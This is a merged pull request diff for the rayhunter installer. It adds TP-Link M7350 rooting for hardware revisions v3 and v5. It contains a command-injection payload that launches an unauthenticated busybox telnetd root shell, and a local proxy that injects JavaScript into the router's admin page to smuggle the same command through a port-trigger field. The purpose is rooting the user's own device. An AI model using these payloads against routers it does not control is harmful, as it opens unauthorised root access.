Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 7 additions & 3 deletions Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

4 changes: 4 additions & 0 deletions installer/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,11 @@ vendor = []
[dependencies]
# adb_client = { path = "../../adb_client/adb_client" }
anyhow = "1.0.98"
axum = "0.8.3"
bytes = "1.10.1"
clap = { version = "4.5.37", features = ["derive"] }
hyper = "1.6.0"
hyper-util = "0.1.11"
md5 = "0.7.0"
nusb = "0.1.13"
reqwest = { version = "0.12.15", features = ["json"], default-features = false }
Expand Down
2 changes: 1 addition & 1 deletion installer/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -62,7 +62,7 @@ async fn run_function() -> Result<(), Error> {
let Args { command } = Args::parse();

match command {
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?,
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Orbic(_) => orbic::install().await.context("Failed to install rayhunter on the Orbic RC400L")?,
Command::Util(subcommand) => match subcommand.command {
UntilSubCommand::Serial(serial_cmd) => {
Expand Down
128 changes: 117 additions & 11 deletions installer/src/tplink.rs
Original file line number Diff line number Diff line change
Expand Up @@ -3,13 +3,26 @@ use std::str::FromStr;
use std::time::Duration;

use anyhow::{Context, Error};
use axum::{
Router,
body::{Body, to_bytes},
extract::{Request, State},
http::uri::Uri,
response::{IntoResponse, Response},
routing::any,
};
use bytes::{Bytes, BytesMut};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use serde::Deserialize;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout};

use crate::InstallTpLink;

type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;

pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> {
let InstallTpLink {
skip_sdcard,
Expand All @@ -28,33 +41,45 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> {

// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
let RootResponse { result } = client.post(&qcmap_web_cgi_endpoint)
let response = client.post(&qcmap_web_cgi_endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
.send()
.await?
.error_for_status()?
.json()
.await?;

if result != 0 {
anyhow::bail!("Bad result code when trying to root device: {result}");
if response.status() == 404 {
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
tplink_launch_telnet_v5(admin_ip.clone()).await?;
} else {
let RootResponse { result } = response.error_for_status()?.json().await?;

if result != 0 {
anyhow::bail!("Bad result code when trying to root device: {result}");
}

println!("Detected hardware revision v3");
}

println!("Succeeded in rooting the device!");

tplink_run_install(skip_sdcard, admin_ip).await
}

async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> {
println!("Connecting via telnet to {admin_ip}");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();

if !skip_sdcard {
println!("Mounting sdcard");
telnet_send_command(addr, "mount /dev/mmcblk0p1 /mnt/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
}

// there is too little space on the internal flash to store anything, but the initrd script
// expects things to be at this location
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
telnet_send_command(addr, "ln -sf /mnt/card /data/rayhunter", "exit code 0").await?;
telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?;

telnet_send_file(addr, "/mnt/card/config.toml", crate::CONFIG_TOML).await?;
telnet_send_file(addr, "/media/card/config.toml", crate::CONFIG_TOML).await?;

#[cfg(feature = "vendor")]
let rayhunter_daemon_bin = include_bytes!("../../rayhunter-daemon-tplink/rayhunter-daemon");
Expand All @@ -63,7 +88,7 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> {
let rayhunter_daemon_bin =
&tokio::fs::read("target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon").await?;

telnet_send_file(addr, "/mnt/card/rayhunter-daemon", rayhunter_daemon_bin).await?;
telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
Expand All @@ -73,7 +98,7 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> {

telnet_send_command(
addr,
"chmod ugo+x /mnt/card/rayhunter-daemon",
"chmod ugo+x /media/card/rayhunter-daemon",
"exit code 0",
)
.await?;
Expand Down Expand Up @@ -186,3 +211,84 @@ async fn telnet_send_command(

Ok(())
}

#[derive(Clone)]
struct AppState {
client: HttpProxyClient,
admin_ip: String,
}

async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, StatusCode> {
let path = req.uri().path();
let path_query = req
.uri()
.path_and_query()
.map(|v| v.as_str())
.unwrap_or(path);

let uri = format!("http://{}{}", state.admin_ip, path_query);
let is_settings_js = path_query == "/js/settings.min.js";

*req.uri_mut() = Uri::try_from(uri).unwrap();

let mut response = state
.client
.request(req)
.await
.map_err(|_| StatusCode::BAD_REQUEST)?
.into_response();

if is_settings_js {
let (parts, body) = response.into_parts();
let data = to_bytes(body, usize::MAX)
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
let mut data = BytesMut::from(data);
// inject some javascript into the admin UI to get us a telnet shell.
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
alert("Success! You can go back to the rayhunter installer.");
window.clearInterval(window.rayhunterPoll);
}, 1000);"#);
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
response.headers_mut().remove("Content-Length");
}

Ok(response)
}

async fn tplink_launch_telnet_v5(admin_ip: String) -> Result<(), Error> {
let client: HttpProxyClient =
hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
.build(HttpConnector::new());

let app = Router::new()
.route("/", any(handler))
.route("/{*path}", any(handler))
.with_state(AppState {
client,
admin_ip: admin_ip.clone(),
});

let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
.await
.unwrap();

println!("Listening on http://{}", listener.local_addr().unwrap());
println!("Please open above URL in your browser and log into the router to continue.");

let handle = tokio::spawn(async move { axum::serve(listener, app).await });

let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();

while telnet_send_command(addr, "true", "exit code 0")
.await
.is_err()
{
sleep(Duration::from_millis(1000)).await;
}

handle.abort();

Ok(())
}